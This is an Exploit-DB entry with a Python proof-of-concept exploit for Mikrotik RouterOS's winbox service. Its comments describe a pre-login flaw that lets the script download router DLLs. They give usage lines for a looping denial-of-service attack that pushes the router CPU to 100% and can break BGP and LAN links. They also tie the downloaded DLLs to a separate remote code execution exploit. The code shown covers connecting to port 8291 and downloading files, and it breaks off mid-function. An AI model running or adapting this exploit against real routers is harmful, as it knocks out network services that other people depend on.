Exploit-DB #18817
Description: Mikrotik Router - Denial of Service
Type: dos
Platform: hardware
Date: 2012-05-01
Author: PoURaN

Exploit:
#!/usr/bin/python
# Exploit Title: 	Mikrotik Router Remote Denial Of Service attack
# Date: 			19/4/2012
# Author: 			PoURaN @ 133tsec.com
# Software Link: 	http://www.mikrotik.com
# Version: 			All mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012)
# Tested on: 		Mikrotis RouterOS 2.9.6 up to 5.15
#
#  Vulnerability Description 
# ===========================
# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/
# The denial of service, happens on mikrotik router's winbox service when
# the attacker is requesting continuesly a part of a .dll/plugin file, so the service 
# becomes unstable causing every remote clients (with winbox) to disconnect
# and denies to accept any further connections. That happens for about 5 minutes. After
# the 5 minutes, winbox is stable again, being able to accept new connections.
# If you send the malicious packet in a loop (requesting  part of a file right after
# the service becoming available again) then you result in a 100% denial of winbox service.
# While the winbox service is unstable and in a denial to serve state, it raises router's CPU 100%
# and other actions. The "other actions" depends on the router version and on the hardware.
# For example on Mikrotik Router v3.30 there was a LAN corruption, BGP fail, whole router failure
# 	=> Mikrotik Router v2.9.6 there was a BGP failure
#	=> Mikrotik Router v4.13 unstable wifi links
#	=> Mikrotik Router v5.14/5.15 rarely stacking
#	=>>> Behaviour may vary most times, but ALL will have CPU 100% . Most routers loose BGP after long time attack <<<=
#
#
#  The exploit
# =============
# This is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins
# that winbox client needs to control the server, and generally lets you gain basic infos about the service BEFORE
# user login!
# Sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side).
# This script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one
# or alltogether! (look usage for more info) .. The file must be contained in the router's dll index.
# The dlls downloaded, are in the format of the winbox service.. Meaning that they are compressed with gzip and they
# have 0xFFFF bytes every 0x101 bytes (the format that winbox client is expecting the files)
# These DLLs can be used by the "Winbox remote code execution" exploit script ;)
#
#  Usage
# =======
# Use the script as described below:
# 1. You can download ALL the files of the router's dll index using the following command:
#	python mkDl.py 10.0.0.1 * 1
#	the "1" in the end, is the speed.. "Speed" is a factor I added, so the script delays a bit while receiving
#	information from the server. It is a MUST for remote routers when they are in long distance (many hops) to use
#	a slower speed ( 9 for example ).
#	Also in the beginning of the dlls file list, script shows you the router's version (provided by router's index)
# 2. You can download a specific .dll file from the remote router.
#	python mkDl.py 10.67.162.1 roteros.dll 1
#	In this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast)
#	Because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each)
#	That is a restriction of winbox communication protocol.
#	If you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c
#	to stop the script.
# 3. You can cause a Denial Of Service to the remote router.. Means denial in winbox service or more (read above for more)
#	python mkDl.py 10.67.162.1 DoS
#	This command starts requesting from router's winbox service the 1st part of roteros.dll looping the request
#	and causing DoS to the router. The script is requesting the file till the router stops responding to the port (8291)
#	Then it waits till the service is up again (using some exception handling), then it requests again till the remote
#	service is down again etc etc... The requests lasts for about 2 seconds, and the router is not responding for about
#	5 minutes as far as i have seen from my tests in different routeros versions.
#
#	<> Greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <>
#
import socket, sys, os, struct, random, time

def InitConnection(mikrotikIP, speed):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((mikrotikIP, 8291))
	s.send(winboxStartingIndex)
	data = s.recv(1024)			# receiving dll index from server
	time.sleep(0.001*speed)
	if data.find("\xFF\x02"+"index"+"\x00") > -1:
		print "[+] Index received!"
	else:
		print "[+] Wrong index.. Exiting.."
		sys.exit(0)
	return s

def download(filename, speed, s):
	f = open(filename, 'wb')
	if len(filename) < 13 and len(filename) > 6:
		print "[+] Requesting file ", filename, ' <->'
		winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter
		s.send(winboxStartingFileReq)
		time.sleep(0.001*speed)
		dataReceived = s.recv(1)
		if dataReceived[0:1]=='\xFF':
			print "[+] Receiving the file..."
			f.write(dataReceived)						# written 1st byte
			time.sleep(0.001*speed)
			dataReceived = s.recv(0x101)				# 0x100 + 1
			nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]
			if dataReceived[0:1]=='\x02':
				time.sleep(0.001*speed)
				f.write(dataReceived)					# written 1st chunk 0x102 bytes with header in file.
				dataReceived = s.recv(0x102)			# 1st sequence of (0xFF 0xFF)
				bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2
				f.write(dataReceived)					# write the next 0x102 bytes (total 0x102+0x102 in file)
			else:
				print "[-] Wrong data received..(2)"
				sys.exit(0)